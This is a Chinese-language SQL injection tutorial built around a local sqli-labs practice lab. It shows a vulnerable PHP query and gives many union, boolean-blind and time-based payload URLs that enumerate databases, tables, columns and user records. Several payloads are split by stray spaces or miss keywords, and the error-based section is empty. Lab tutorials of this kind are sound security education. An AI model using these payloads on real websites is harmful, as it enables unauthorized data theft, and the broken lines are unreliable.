sql注入就是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数可以操控,并且带入数据库进行查询,攻击者可以利用恶意的sql语句来操作数据库。
以php 代码示例
$sql = "select * from users where id = $_GET['id']";
由于id 这个参数可控,并且可以带入数据库查询,攻击者会拼接恶意SQL语句进攻击。
SQL注入有多种方式
union注入 Boolean注入 报错注入 时间注入 堆叠注入 二次注入 宽字节注入 cookie注入 base64注入 XFF注入
SQL注入的原理
参数可控参数可带入数据库查询
eg: $sql = "select * from users where id = $_GET['id']"; # 当id= 1' select * from users where id = 1'
不管你怎么输入 都不会显示结果 因为单引号哪里并没有闭合 mysql无法执行此查询语句
eg: $sql = "select * from users where id = $_GET['id']"; # 当id= 1 and 1=1 select * from users where id = 1 and 1=1
当执行 id = 1 SQL语句会正常执行 1=1 结果为true 因为连接词使用and true and true 结果就为true
MySQL相关知识点
在mysql 5.0 之后 数据库中存放一个特殊的库 information_schema 其中记住该库中三个特殊的表
SCHEMATA TABLES COLUMNS
SCHEMATA 表格存储了用户创建的所有数据库的库名
TABLES 存储用户创建的所有数据库的库名和表名
COLUMNS 存储用户创建的所有数据库的库名,表名,字段名
这三个表层层深入 库名 延申 表名 延申 字段名
MySQL查询语句
# 当不知道任何条件时 select 需要查询的字段名 from 库名.表名; # 在知道已知条件下 select 需要查询的字段名 from 库名.表名 where 已知的字段='已知条件的值'; # 在知道两条已知条件 select 需要查询的字段名 from 库名.表名 where 已知的字段1='已知条件的值1' and 已知的字段2='已知条件的值2';
limit 用法 # 用法 limit m,n m 记录开始的位置 n 取n条记录 例如 limit 0,1 从第一条记录开始 去一条记录 特殊函数 database() # 当前网站使用的数据库 version() # 当前mysql版本 user() # 当前mysql用户 注释符 # --+ /* */ /*! */
搭建SQL靶场
百度搜索sqllab 源码 下载 windows 安装phpstudy集成环境 把源码解压到phpstudy www目录下,更改配置文件,mysql 用户名密码等。
union注入
先判断是否存在SQL注入
http://127.0.0.1/sqllab/Less-1/?id=1
http://127.0.0.1/sqllab/Less-1/?id=1'
使用order by 查看字段数
# 看下第一关的sql源码 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; // id 两边使用单引号包裹 我们在使用order by 的时候 也要使用单引号 将其闭合 // http://127.0.0.1/sqllab/Less-1/?id=1' order by 4 --+ 得到以下SQL // id=1 的字段成功闭合符合sql语句 后面使用了注释符后面的限制就无法执行 SELECT * FROM users WHERE id='1' order by 4 --+' LIMIT 0,1
# 输入3 再去判断 一半使用二分法进行判断字段数 SELECT * FROM users WHERE id='1' order by 3 --+' LIMIT 0,1
使用union 获取信息
# 把id值改为负数 使where后面条件不成立 进而执行select语句 http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,2,3 --+
使用内置函数查看信息
http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,database(),version() --+
# 获取数据库名称后 利用information_schema 获取表名 http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 0,1),3 --+ # 获取第二个表名 http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 1,1),3 --+
现在知道了表名和库名 就开始查询字段名
# 字段1 http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),3 --+ # 字段2 http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 1,1),3 --+
知道了库名,表名,字段名 就可以构造SQL语句进行查询数据了
# select email_id from security.emails;http://127.0.0.1/sqllab/Less-1/?id=-1' union select 1,(select email_id from security.emails limit 0,1),3 --+
Boolean注入
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断 regexp,like,ascii,left,ord,mid 基于时间的SQL盲注-延时判断 if,sleep 基于报错的SQL盲注-报错回显 floor,updatexml,extractvalue https://www.jianshu.com/p/bc35f8dd4f7c 参考: like 'ro%' #判断ro或ro...是否成立 regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等 if(条件,5,0) #条件成立 返回5 反之 返回0 sleep(5) #SQL语句延时执行5秒 mid(a,b,c) #从位置b开始,截取a字符串的c位 substr(a,b,c) #从b位置开始,截取字符串a的c长度 left(database(),1),database() #left(a,b)从左侧截取a的前b位 length(database())=8 #判断数据库database()名的长度 ord=ascii ascii(x)=97 #判断x的ascii码是否等于97 select 查询数据 在网站应用中进行数据显示查询操作 例:select * from news where id=$id insert 插入数据 在网站应用中进行用户注册添加等操作 例:insert into news(id,url,text) values(2,'x','$t') delete 删除数据 后台管理里面删除文章删除用户等操作 例:delete from news where id=$id update 更新数据 会员或后台中心数据同步或缓存等操作 例:update user set pwd='$p' where id=2 and username='admin' order by 排序数据 一般结合表名或列名进行数据排序操作 例:select * from news order by $id 例:select id,name,price from news order by $order 重点理解: 我们可以通过以上查询方式与网站应用的关系 注入点产生地方或应用猜测到对方的SQL查询方式
报错盲注
# insert 注入 获取数据库名称
# update 注入 获取MySQL版本
# delete 注入
延迟盲注
如果数据库字符对应ASCII 编码的115 睡眠5秒 否则输出1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+ // 如果数据库字符对应ASCII 编码的101 睡眠3秒 否则输出0 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0)--+ // 延迟注入 http://127.0.0.1/sqllib/Less-5/?id=1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+ # 利用 BENCHMARK()进行延时注入 http://127.0.0.1/sqllib/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BEN CHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as cur rent) as tb1--+ 布尔盲注 # 利用 left(database(),1) 尝试 查看版本信息 判断数据库版本是否为5 http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23 版本改成6后再访问
# 查看数据库长度是否为8
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20length(database())=8%23
# 猜测数据库名称的第一位ASCII编码
http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27--+
Database()为 security,所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当
我们不知情的情况下,可以用二分法来提高注入的效率
# 利用 substr() ascii()函数进行尝试 # ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 # 猜测数据表 http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name% 20from%20information_schema.tables%20where%20table_schema=database()%20limit%20 0,1),1,1))%3E80--+ http://127.0.0.1/sqllib/Less-5/?id=1%27and%20ascii(substr((select%20table_name%20from%20i nformation_schema.tables%20where%20table_schema=database()%20limit%200,1),2,1))%3E108 --+ # 利用 regexp 获取 users 表中的列 http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%201=(select%201%20from%20information_sch ema.columns%20where%20table_name=%27users%27%20and%20table_name%20regexp%20% 27^us[a-z]%27%20limit%200,1)--+ # 判断是否有us**的列 http://127.0.0.1/sqllib/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+ # 利用 ord()和 mid()函数获取 users 表的内容 http://127.0.0.1/sqllib/Less-5/?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(usernam e%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))= 68--+